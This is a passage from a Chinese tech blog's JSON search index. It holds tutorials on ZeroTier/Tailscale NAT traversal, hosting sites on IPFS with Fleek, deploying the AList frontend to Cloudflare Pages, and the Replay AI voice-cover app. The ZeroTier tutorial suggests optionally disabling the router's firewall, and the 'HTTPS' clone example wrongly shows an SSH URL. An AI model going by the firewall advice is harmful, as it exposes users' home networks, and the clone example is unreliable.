id=\"经实测zerotier的打洞能力明显优于tailscale所以建议通过zerotier来实现内网穿透\"\u003e经实测，Zerotier的打洞能力明显优于Tailscale，所以建议通过Zerotier来实现内网穿透\u003c/h1\u003e\n\u003cp\u003e详细报表：\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e\u003c/th\u003e\n          \u003cth\u003eZerotier\u003c/th\u003e\n          \u003cth\u003eTailscale\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e单端DMZ（单端NAT1）\u003c/td\u003e\n          \u003ctd\u003eSTUN\u003c/td\u003e\n          \u003ctd\u003eSTUN\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e仅单端UPnP（单端NAT3）\u003c/td\u003e\n          \u003ctd\u003eUDP P2P\u003c/td\u003e\n          \u003ctd\u003e玄学穿透\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e双端UPnP（双端NAT3）\u003c/td\u003e\n          \u003ctd\u003eUDP P2P\u003c/td\u003e\n          \u003ctd\u003e玄学穿透\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e双端无UPnP/DMZ（双端NAT3/NAT4）\u003c/td\u003e\n          \u003ctd\u003eUDP P2P\u003c/td\u003e\n          \u003ctd\u003e无法穿透\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e自建中继/握手节点\u003c/td\u003e\n          \u003ctd\u003e√\u003c/td\u003e\n          \u003ctd\u003e√\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e其实实际情况会更加复杂一点，但是你只要有 \u003cstrong\u003e公网IPv6、UPnP、DMZ\u003c/strong\u003e 中的其中一项，Zerotier就几乎是100%的打洞成功率\u003c/p\u003e\n\u003cp\u003e如何知道我是P2P还是中继？\nping你的对端设备，如果延迟大于200ms或者经常丢包大概率就是中继节点（也有小概率是你的设备负载过高导致无法及时接收和返回ping包）\u003c/p\u003e\n\u003ch1 id=\"啥是内网穿透\"\u003e啥是内网穿透？\u003c/h1\u003e\n\u003cp\u003e当我们在家中有个NAS，想要在学校/公司的网络来访问，就需要用到内网穿透，实现外网访问内网服务。原理一般是P2P打洞和服务器中转流量\u003c/p\u003e\n\u003ch1 id=\"前期准备\"\u003e前期准备\u003c/h1\u003e\n\u003cp\u003e路由器开启UPnP\u003cimg loading=\"lazy\" src=\"/posts/across-nat/img/2024-10-28-17-08-00-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e关闭路由器的IPv4，IPv6防火墙 \u003cstrong\u003e（可选）\u003c/strong\u003e\u003cimg loading=\"lazy\" src=\"/posts/across-nat/img/2024-10-28-17-09-19-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"使用zerotiertailscale进行内网穿透\"\u003e\u003cem\u003e使用Zerotier/Tailscale进行内网穿透\u003c/em\u003e\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e他们俩的原理都是尝试对端建立P2P连接，需要对端安装一个软件并且长期运行\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"使用zerotier进行内网穿透的详细教程\"\u003e使用Zerotier进行内网穿透的详细教程\u003c/h1\u003e\n\u003ch2 id=\"创建zerotier账号\"\u003e创建Zerotier账号\u003c/h2\u003e\n\u003cp\u003e前往：\u003ca href=\"https://www.zerotier.com/\"\u003eZeroTier | Global Networking Solution for IoT, SD-WAN, and VPN\u003c/a\u003e。如果你进不去，请尝试挂梯子。如果看不懂英文可以开启浏览器的翻译功能\u003cimg loading=\"lazy\" src=\"/posts/across-nat/img/2024-10-28-17-12-51-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e选择 \u003ccode\u003eSign up\u003c/code\u003e\u003cimg loading=\"lazy\" src=\"/posts/across-nat/img/2024-10-28-17-13-06-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e如果你到了这个界面，请仍然选择\u003ccode\u003eSign up\u003c/code\u003e\u003cimg loading=\"lazy\" src=\"/posts/across-nat/img/2024-10-28-17-15-08-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/across-nat/img/2024-10-28-17-16-52-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e账号创建完毕后，登录即可\u003cimg loading=\"lazy\" src=\"/posts/across-nat/img/2024-10-28-17-17-47-image.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"创建一个新的zerotier网络组\"\u003e创建一个新的Zerotier网络组\u003c/h2\u003e\n\u003cp\u003e当你账号登录成功后，会自动跳转到这个页面，点击\u003ccode\u003eCreate A Network\u003c/code\u003e。如果没有，请访问\u003ca href=\"https://my.zerotier.com/\"\u003eZeroTier Central\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/across-nat/img/2024-10-28-17-20-24-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e下面的列表会增加一个新的网络组，点击它\u003cimg loading=\"lazy\" src=\"/posts/across-nat/img/2024-10-28-17-21-31-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003eZerotier默认的网络组模式为\u003ccode\u003ePrivate\u003c/code\u003e。即私密模式，哪怕别人知道了你的\u003ccode\u003eNetwork ID\u003c/code\u003e尝试加入你的网络组也需要你进行验证\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/across-nat/img/2024-10-28-17-22-38-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e复制这个\u003ccode\u003eNetwork ID\u003c/code\u003e\u003cimg loading=\"lazy\" src=\"/posts/across-nat/img/2024-10-28-17-22-13-image.webp\"\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"在设备上安装zerotier应用\"\u003e在设备上安装Zerotier应用\u003c/h1\u003e\n\u003ch2 id=\"windows\"\u003eWindows：\u003c/h2\u003e\n\u003cp\u003e前往\u003ca href=\"https://www.zerotier.com/download/\"\u003eDownload - ZeroTier\u003c/a\u003e，下载exe安装文件\u003cimg loading=\"lazy\" src=\"/posts/across-nat/img/2024-10-28-17-25-52-image.webp\"\u003e\u003c/p\u003e","title":"究极喂饭教程，手把手教你内网穿透"},{"content":" 本文过旧，某些资源可能已经不可用\n什么是IPFS？ IPFS，是点到点的超媒体协议，它让网络更快、更安全、更开放。说简单一点，它就是一个去中心化互联网。说技术一点，它是一个基于分布式哈希表DHT进行内容寻址的，基于git模型版本管理的，基于默克尔对象关联的，基于点对点技术的，基于全球化命名空间IPNS的，基于各种技术的，一种分布式文件系统。\n用人话说，你可以把它看成一个共享网盘，你可以尝试下载IPFS - Desktop（适用于有图形界面的系统）或kubo - ipfs（适用于CLI）。然后启动IPFS，你的设备将成为IPFS网络中的一个节点，如图\n使用IPFS能做什么？ 当你连接到IPFS网络后，IPFS会自动将你的设备作为一个本地IPFS节点并且寻找其他IPFS节点，你将能够帮助其他用户建立连接、提供文件。同时你也可以将你的文件上传到你的IPFS节点，等待分发，让网络上的其他用户可以访问你的文件。在IPFS网络中，访问文件通过IPFS网关，如：https://ipfs.io/ipfs/ + CID（文件哈希） 实现访问。比如： https://ipfs.crossbell.io/ipfs/bafybeifbn36zmdb37ov6id3toy6bve47264hjk2yob6rm4bhw7ooawncf4\n（这里使用 ipfs.crossbell.io 这个CrossBell托管的IPFS网关来规避GFW封禁）\n这项技术真的有这么理想吗？ 这项技术确实很理想，但是实际应用下来会遇到以下问题\n通过本地IPFS节点上传的文件迟迟无法通过IPFS网关+CID实现访问\n发现的节点太少\n可能会大量占用你的带宽\n这些问题大部分原因都是因为这个网络太过于庞大，而单个IPFS节点的权重很低，尽管IPFS的分发一般在几小时内可以完成。但对于个人来说，我们应当寻找一些服务商帮我们完成这些需求，它们往往在IPFS网络中的权重更大，进行文件更新的效率也很高，同时也提供一些扩展服务，比如自动化Git部署。而这篇文章使用的则是Fleek\n关于Fleek 它似了\n你可以简单理解为它权重很大，有很多的IPFS节点，经由Fleek上传到IPFS网络上的文件可以在几秒内完成广播，并且支持连接Git存储库部署项目和绑定你的域名\nFleek是否值得信赖？ 本人仅接触此服务2天。观察到Fleek在成功部署网站后提供了三类访问方式\nxxx-xxx.fleek.app：这个域名使用了Cloudflare CDN，实测解析IP的数量为2，不建议使用\n：这种方法是原生的IPFS访问方式。通过IPFS网关+CID来访问。但由于CID为哈希值，当你的网站改动后你的CID会发生变化\n绑定自定义域名来访问，这将会使用亚马逊的CDN并且自动映射CID，实测解析IP数量超过30，并且速度很快\n[!WARNING] 注意，任何使用HTTP协议的类ipfs技术都需要一个中心化服务器代理访问IPFS网络。只有当访问者连接上IPFS网络后才会使用去中心化的连接方式）\n尽管显示了IPFS的文件浏览界面，但实际上这个页面是由HTTP请求到亚马逊 CDN反代IPFS网络实现的，实际上仍为中心化网络\n当你的设备已经连上IPFS网络后，所有流量将使用P2P（去中心化），所以你看到的访问地址实际上是本机地址\n梳理一下思路，我们可以用Fleek做到什么 让Fleek连接你的Git存储库，通过构建命令构建静态网站，并发布到IPFS，同时兼容HTTP访问\n正式开始 前往fleek.xyz，通过MetaMask登录\n连接你的Git存储库，输入构建命令等相关信息\n部署网站\n绑定域名\n最终访问\n效果图：\n拓展一下，我们还可以通过IPFS技术做什么？（域名已弃用） 创建一个巨大的图床，已经投入使用，参见： https://pic.onani.cn （原理：请求 https://ipfs-pic.onani.cn ，获取图片列表，随机选择使用JS展示）\n无需再自托管任何图片，已经投入使用，本博客所有图片都使用IPFS存储\n理论上，你可以将任何占用存储的服务上传到IPFS，实现存算分离\n","permalink":"https://blog.2x.nz/posts/ipfs/","summary":"\u003cblockquote\u003e\n\u003cp\u003e本文过旧，某些资源可能已经不可用\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch3 id=\"什么是ipfs\"\u003e什么是IPFS？\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003eIPFS，是点到点的超媒体协议，它让网络更快、更安全、更开放。说简单一点，它就是一个去中心化互联网。说技术一点，它是一个基于分布式哈希表DHT进行内容寻址的，基于git模型版本管理的，基于默克尔对象关联的，基于点对点技术的，基于全球化命名空间IPNS的，基于各种技术的，一种分布式文件系统。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e用人话说，你可以把它看成一个共享网盘，你可以尝试下载\u003ca href=\"https://github.com/ipfs/ipfs-desktop\"\u003eIPFS - Desktop（适用于有图形界面的系统）\u003c/a\u003e或\u003ca href=\"https://github.com/ipfs/kubo\"\u003ekubo - ipfs（适用于CLI）\u003c/a\u003e。然后启动IPFS，你的设备将成为IPFS网络中的一个节点，如图\u003cimg loading=\"lazy\" src=\"/posts/ipfs/img/2024-10-17-10-47-08-image.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"使用ipfs能做什么\"\u003e使用IPFS能做什么？\u003c/h3\u003e\n\u003cp\u003e当你连接到IPFS网络后，IPFS会自动将你的设备作为一个本地IPFS节点并且寻找其他IPFS节点，你将能够帮助其他用户建立连接、提供文件。同时你也可以将你的文件上传到你的IPFS节点，等待分发，让网络上的其他用户可以访问你的文件。在IPFS网络中，访问文件通过IPFS网关，如：\u003ccode\u003ehttps://ipfs.io/ipfs/\u003c/code\u003e + \u003ccode\u003eCID（文件哈希）\u003c/code\u003e 实现访问。比如： \u003ca href=\"https://ipfs.crossbell.io/ipfs/bafybeifbn36zmdb37ov6id3toy6bve47264hjk2yob6rm4bhw7ooawncf4\"\u003ehttps://ipfs.crossbell.io/ipfs/bafybeifbn36zmdb37ov6id3toy6bve47264hjk2yob6rm4bhw7ooawncf4\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e（这里使用 \u003ccode\u003eipfs.crossbell.io\u003c/code\u003e 这个CrossBell托管的IPFS网关来规避GFW封禁）\u003c/p\u003e\n\u003ch3 id=\"这项技术真的有这么理想吗\"\u003e这项技术真的有这么理想吗？\u003c/h3\u003e\n\u003cp\u003e这项技术确实很理想，但是实际应用下来会遇到以下问题\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e通过本地IPFS节点上传的文件迟迟无法通过IPFS网关+CID实现访问\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e发现的节点太少\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e可能会大量占用你的带宽\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e这些问题大部分原因都是因为这个网络太过于庞大，而单个IPFS节点的权重很低，尽管IPFS的分发一般在几小时内可以完成。但对于个人来说，我们应当寻找一些服务商帮我们完成这些需求，它们往往在IPFS网络中的权重更大，进行文件更新的效率也很高，同时也提供一些扩展服务，比如自动化Git部署。而这篇文章使用的则是\u003cstrong\u003eFleek\u003c/strong\u003e\u003c/p\u003e\n\u003ch3 id=\"关于fleek\"\u003e关于Fleek\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e它似了\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e你可以简单理解为它权重很大，有很多的IPFS节点，经由Fleek上传到IPFS网络上的文件可以在几秒内完成广播，并且支持连接Git存储库部署项目和绑定你的域名\u003c/p\u003e\n\u003ch3 id=\"fleek是否值得信赖\"\u003eFleek是否值得信赖？\u003c/h3\u003e\n\u003cp\u003e本人仅接触此服务2天。观察到Fleek在成功部署网站后提供了三类访问方式\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003exxx-xxx.fleek.app\u003c/code\u003e：这个域名使用了Cloudflare CDN，实测解析IP的数量为2，不建议使用\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ipfs/img/2024-10-17-11-01-49-image.webp\"\u003e：这种方法是原生的IPFS访问方式。通过IPFS网关+CID来访问。但由于CID为哈希值，当你的网站改动后你的CID会发生变化\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e绑定自定义域名来访问，这将会使用亚马逊的CDN并且自动映射CID，实测解析IP数量超过30，并且速度很快\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!WARNING]\n注意，任何使用HTTP协议的类ipfs技术都需要一个中心化服务器代理访问IPFS网络。只有当访问者连接上IPFS网络后才会使用去中心化的连接方式）\u003c/p\u003e\u003c/blockquote\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ipfs/img/2024-10-17-11-07-40-image.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e尽管显示了IPFS的文件浏览界面，但实际上这个页面是由HTTP请求到亚马逊 CDN反代IPFS网络实现的，实际上仍为中心化网络\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ipfs/img/2024-10-17-11-08-44-image.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e当你的设备已经连上IPFS网络后，所有流量将使用P2P（去中心化），所以你看到的访问地址实际上是本机地址\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"梳理一下思路我们可以用fleek做到什么\"\u003e梳理一下思路，我们可以用Fleek做到什么\u003c/h3\u003e\n\u003cp\u003e让Fleek连接你的Git存储库，通过构建命令构建静态网站，并发布到IPFS，同时兼容HTTP访问\u003c/p\u003e\n\u003ch4 id=\"正式开始\"\u003e正式开始\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e前往fleek.xyz，通过MetaMask登录\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e连接你的Git存储库，输入构建命令等相关信息\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e部署网站\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e绑定域名\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e最终访问\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e效果图：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ipfs/img/2024-10-17-11-31-33-image.webp\"\u003e\u003c/p\u003e\n\u003ch4 id=\"拓展一下我们还可以通过ipfs技术做什么域名已弃用\"\u003e拓展一下，我们还可以通过IPFS技术做什么？（域名已弃用）\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e创建一个巨大的图床，已经投入使用，参见： \u003ca href=\"https://pic.onani.cn\"\u003ehttps://pic.onani.cn\u003c/a\u003e （原理：请求 \u003ca href=\"https://ipfs-pic.onani.cn\"\u003ehttps://ipfs-pic.onani.cn\u003c/a\u003e ，获取图片列表，随机选择使用JS展示）\u003cimg loading=\"lazy\" src=\"/posts/ipfs/img/2024-10-17-11-34-44-image.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e无需再自托管任何图片，已经投入使用，本博客所有图片都使用IPFS存储\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e理论上，你可以将任何占用存储的服务上传到IPFS，实现存算分离\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e","title":"使用基于IPFS的Fleek部署静态网站、托管图床、部署服务"},{"content":"前情提要# 本教程不是 AList 的无服务器部署，仅将前端页面部署到 Cloudflare Pages，这样用户就能很快从 cf 的边缘节点拉取前端文件，而不用 cf 回源，提高浏览体验，后端仍然需要一台开放到公网的服务器部署 AList（无公网服务器可使用 Cloudflare Tunnels）\n首先，保证你的后端服务器支持v4v6双栈访问 使用Cloudflare Tunnel，套cf\n分别设置A和AAAA解析，麻烦，如果你的IP很快，那其实可以不用前后端分离，暴露源站的前后端分离也不能避免被DDoS，因为你的源站会在HTTP报文中暴露\n然后，开始正式将AList前端部署到Cloudflare Pages Fork仓库：\nhttps://github.com/alist-org/alist-web\n更改项目根目录的env.production文件为你的后端服务器地址\n将仓库克隆到本地，需要安装Git：\n使用SSH（需要持有你的Github SSH私钥）： git clone git@github.com:你的用户名/你Fork的仓库 使用HTTPS（Not Use Magic有概率SSL握手失败）： git clone git@github.com:你的用户名/你Fork的仓库 下载汉化包：AcoFork 的网盘或Crowdin - 需要登录\n解压，将alist (zh-CN)\\src\\lang里面的Zh-CN文件夹复制到仓库下src/lang下 编辑根目录的.gitignore，添加一行!/src/lang/zh-CN/确保文件不被忽略 下载Nodejs。在根目录打开终端，生成中文需要的文件： 安装cnpm： npm install -g cnpm --registry=https://registry.npmmirror.com 安装依赖： cnpm install --legacy-peer-deps 生成中文需要的文件： node .\\scripts\\i18n.mjs 将更改提交到暂存区并提交到远程仓库，在根目录打开终端 git add . //将更改提交到暂存区 git commit -m 添加中文 //发布提交 git push -f //强制将更改提交到远程仓库 进入Cloudflare 仪表盘，进入 Workers 和 Pages 页面\n创建一个 Pages，选择连接 Git 存储库\n选择你的存储库，开始设置\n构建命令输入：pnpm install \u0026amp;\u0026amp; pnpm build，构建输出目录选择/dist\n等待 Cloudflare 构建结束，为 Pages 绑定自定义域\n访问自定义域，查看 AList 是否正常\n定制 AList# 我们都知道 AList 支持自定义头部和内容，但是因为 Cloudflare Pages 是一个静态页面，所以我们采用硬编码方式，直接将需要自定义的内容写入仓库根目录的index.html\n编辑根目录的index.html 将更改提交到暂存区并提交到远程仓库，在根目录打开终端 git add . //将更改提交到暂存区 git commit -m 你的提交摘要 //发布提交 git push -f //强制将更改提交到远程仓库 Cloudflare Pages 会自动重新构建，等待新网页构建完成即可\n疑难解答 如果你遇到构建错误（找不到solid-route/src）的情况，可以尝试查看你fork的仓库通过本地拉取下来后根目录的 solid-route 文件夹是不是空的，如果是，请前往 https://github.com/alist-org/alist-web 手动将 solid-route 文件夹里的内容搬到你仓库中，然后尝试重新构建 ","permalink":"https://blog.2x.nz/posts/alist-web/","summary":"\u003ch2 id=\"前情提要\"\u003e前情提要\u003ca href=\"https://afo.im/shen-me-Cloudflare-dai-li-AList-tai-man--jiao-ni-bu-shu-qian-duan-dao-Pages-ju-jue-hui-yuan-#user-content-%E5%89%8D%E6%83%85%E6%8F%90%E8%A6%81\"\u003e#\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e本教程\u003cstrong\u003e不是 AList 的无服务器部署\u003c/strong\u003e，仅将前端页面部署到 Cloudflare Pages，这样用户就能很快从 cf 的边缘节点拉取前端文件，而不用 cf 回源，提高浏览体验，后端仍然需要一台开放到公网的服务器部署 AList（无公网服务器可使用 Cloudflare Tunnels）\u003c/p\u003e\n\u003ch3 id=\"首先保证你的后端服务器支持v4v6双栈访问\"\u003e首先，保证你的后端服务器支持v4v6双栈访问\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e使用Cloudflare Tunnel，套cf\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e分别设置A和AAAA解析，麻烦，如果你的IP很快，那其实可以不用前后端分离，暴露源站的前后端分离也不能避免被DDoS，因为你的源站会在HTTP报文中暴露\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"然后开始正式将alist前端部署到cloudflare-pages\"\u003e然后，开始正式将AList前端部署到Cloudflare Pages\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eFork仓库：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/alist-org/alist-web\"\u003ehttps://github.com/alist-org/alist-web\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e更改项目根目录的\u003ccode\u003eenv.production\u003c/code\u003e文件为你的后端服务器地址\u003cbr\u003e\n\u003cimg alt=\"QmduQJq3TydzvLzBn47zLxp2MR1iD2sxm67EzFUFuEBvQa.webp\" loading=\"lazy\" src=\"/posts/alist-web/img/6f2871ca5d35e1e974d89611835f3a2c7fd205e7.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e将仓库克隆到本地，需要安装\u003ca href=\"https://git-scm.com/\"\u003eGit\u003c/a\u003e：\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e使用SSH（需要持有你的Github SSH私钥）：\ngit clone git@github.com:你的用户名/你Fork的仓库\n\n使用HTTPS（Not Use Magic有概率SSL握手失败）：\ngit clone git@github.com:你的用户名/你Fork的仓库\n\u003c/code\u003e\u003c/pre\u003e\u003col start=\"5\"\u003e\n\u003cli\u003e下载汉化包：\u003ca href=\"https://alist.onani.cn/guest/alist_Zh-CN\"\u003eAcoFork 的网盘\u003c/a\u003e或\u003ca href=\"https://crowdin.com/project/alist/zh-CN\"\u003eCrowdin - 需要登录\u003c/a\u003e\u003cbr\u003e\n\u003cimg alt=\"QmXVpMc7BqbXv9EaAbeptsrnhYLinvQQsu1btBE3VvDixa.webp\" loading=\"lazy\" src=\"/posts/alist-web/img/68d31e9797edfc3c1d8a72386ebf3a643d117ce6.webp\"\u003e\u003c/li\u003e\n\u003cli\u003e解压，将\u003ccode\u003ealist (zh-CN)\\src\\lang\u003c/code\u003e里面的\u003ccode\u003eZh-CN\u003c/code\u003e文件夹复制到仓库下\u003ccode\u003esrc/lang\u003c/code\u003e下\u003c/li\u003e\n\u003cli\u003e编辑根目录的\u003ccode\u003e.gitignore\u003c/code\u003e，添加一行\u003ccode\u003e!/src/lang/zh-CN/\u003c/code\u003e确保文件不被忽略\u003c/li\u003e\n\u003cli\u003e下载\u003ca href=\"https://nodejs.org/zh-cn\"\u003eNodejs\u003c/a\u003e。在根目录打开终端，生成中文需要的文件：\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e安装cnpm：\nnpm install -g cnpm --registry=https://registry.npmmirror.com\n\n安装依赖：\ncnpm install --legacy-peer-deps\n\n生成中文需要的文件：\nnode .\\scripts\\i18n.mjs\n\u003c/code\u003e\u003c/pre\u003e\u003col start=\"9\"\u003e\n\u003cli\u003e将更改提交到暂存区并提交到远程仓库，在根目录打开终端\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egit add .   //将更改提交到暂存区\ngit commit -m 添加中文   //发布提交\ngit push -f   //强制将更改提交到远程仓库\n\u003c/code\u003e\u003c/pre\u003e\u003col start=\"10\"\u003e\n\u003cli\u003e进入\u003ca href=\"https://dash.cloudflare.com/\"\u003eCloudflare 仪表盘\u003c/a\u003e，进入 Workers 和 Pages 页面\u003cbr\u003e\n\u003cimg alt=\"QmW5UaUap8T2R37u5dzmKGLmUgk4qKnSMFwHBVHqvVbkVA.webp\" loading=\"lazy\" src=\"/posts/alist-web/img/49ccd51771082fdc94eecb270caf987d257cd987.webp\"\u003e\u003c/li\u003e\n\u003cli\u003e创建一个 Pages，选择连接 Git 存储库\u003cbr\u003e\n\u003cimg alt=\"QmZXerKv9PVxxscAe4w4LEfAaKfiScPQEKh1UroXnCeAUr.webp\" loading=\"lazy\" src=\"/posts/alist-web/img/9c4b9ff38d3c8810007ffe33c1a0f98cdd84b92e.webp\"\u003e\u003c/li\u003e\n\u003cli\u003e选择你的存储库，开始设置\u003cbr\u003e\n\u003cimg alt=\"QmNdSGQrJtoqDnBx8pgDrtcfmUUfVBS9xdrN4xLgyPjyXE.webp\" loading=\"lazy\" src=\"/posts/alist-web/img/fb97b5148c3811590609a0b85c6c1ee3c451853d.webp\"\u003e\u003c/li\u003e\n\u003cli\u003e构建命令输入：\u003ccode\u003epnpm install \u0026amp;\u0026amp; pnpm build\u003c/code\u003e，构建输出目录选择\u003ccode\u003e/dist\u003c/code\u003e\u003cbr\u003e\n\u003cimg alt=\"QmbhPdbE8f1zLKvWA6aEGJtZhmecRMVZiQbx6Zx1Lecp7J.webp\" loading=\"lazy\" src=\"/posts/alist-web/img/c4300a94ccb16fe1383c721cbc83d1a71420e340.webp\"\u003e\u003c/li\u003e\n\u003cli\u003e等待 Cloudflare 构建结束，为 Pages 绑定自定义域\u003cbr\u003e\n\u003cimg alt=\"QmTMphu61uUF9XefBAVDVf19Jm1vLVUhhXQ9PXABy7hUpK.webp\" loading=\"lazy\" src=\"/posts/alist-web/img/d27136b31d759898fe06041f12e7a07f07bd06b0.webp\"\u003e\u003c/li\u003e\n\u003cli\u003e访问自定义域，查看 AList 是否正常\u003cbr\u003e\n\u003cimg alt=\"QmT8GLcaxtabhifKNL8kczEtozmNvdyhzJ823RfBrcFdpm.webp\" loading=\"lazy\" src=\"/posts/alist-web/img/345df496620a9d3faf0eceeb773813bc9ac98375.webp\"\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"定制-alist\"\u003e定制 AList\u003ca href=\"https://afo.im/shen-me-Cloudflare-dai-li-AList-tai-man--jiao-ni-bu-shu-qian-duan-dao-Pages-ju-jue-hui-yuan-#user-content-%E5%AE%9A%E5%88%B6-alist\"\u003e#\u003c/a\u003e\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e我们都知道 AList 支持自定义头部和内容，但是因为 Cloudflare Pages 是一个静态页面，所以我们采用硬编码方式，直接将需要自定义的内容写入仓库根目录的\u003ccode\u003eindex.html\u003c/code\u003e\u003cbr\u003e\n\u003cimg alt=\"Qmd47pgFsyh28NjhkLiCPPbf7iasXMWvAvZDupH8QspG64.webp\" loading=\"lazy\" src=\"/posts/alist-web/img/c3ff113558b368da9a7aeb70f70b978f49d0eb7a.webp\"\u003e\u003c/p\u003e","title":"教你把AList的前端部署到CF Pages！让你的AList秒加载！"},{"content":"AI翻唱！仅需两步！ 前往Replay | Free AI Voice Cloning and Stemming using RVC Models (tryreplay.io)下载Replay\n打开Replay，首先根据引导下载数据包（约11G）。然后根据图片操作，选择歌曲和模型，最后点击 CREATE SONG 即可！\n","permalink":"https://blog.2x.nz/posts/replay/","summary":"\u003ch3 id=\"ai翻唱仅需两步\"\u003eAI翻唱！仅需两步！\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e前往\u003ca href=\"https://www.tryreplay.io/\"\u003eReplay | Free AI Voice Cloning and Stemming using RVC Models (tryreplay.io)\u003c/a\u003e下载Replay\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e打开Replay，首先根据引导下载数据包（约11G）。然后根据图片操作，选择歌曲和模型，最后点击 \u003ccode\u003eCREATE SONG\u003c/code\u003e 即可！\u003cimg loading=\"lazy\" src=\"/posts/replay/img/59f2cc973405b81324f0472f5309ff6efa682ace.webp\"\u003e\u003cimg loading=\"lazy\" src=\"/posts/replay/img/2024-10-15-16-40-07-image.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e","title":"傻瓜式AI翻唱软件Replay！选歌！选模型！然后CREATE SONG！"},{"content":"吸引我的东西 影视刮削：飞快，薄纱Plex几条街。通过AutoBangumi可以完美自动追番+刮削一条龙服务。偶尔会有不准，但可以手动匹配，数据源来自TMDB和IMDB 相册：可以通过手机APP自动备份，支持仅备份图片，可以多用户使用，存储互不干扰，也可以设置要共享的图片 注意事项 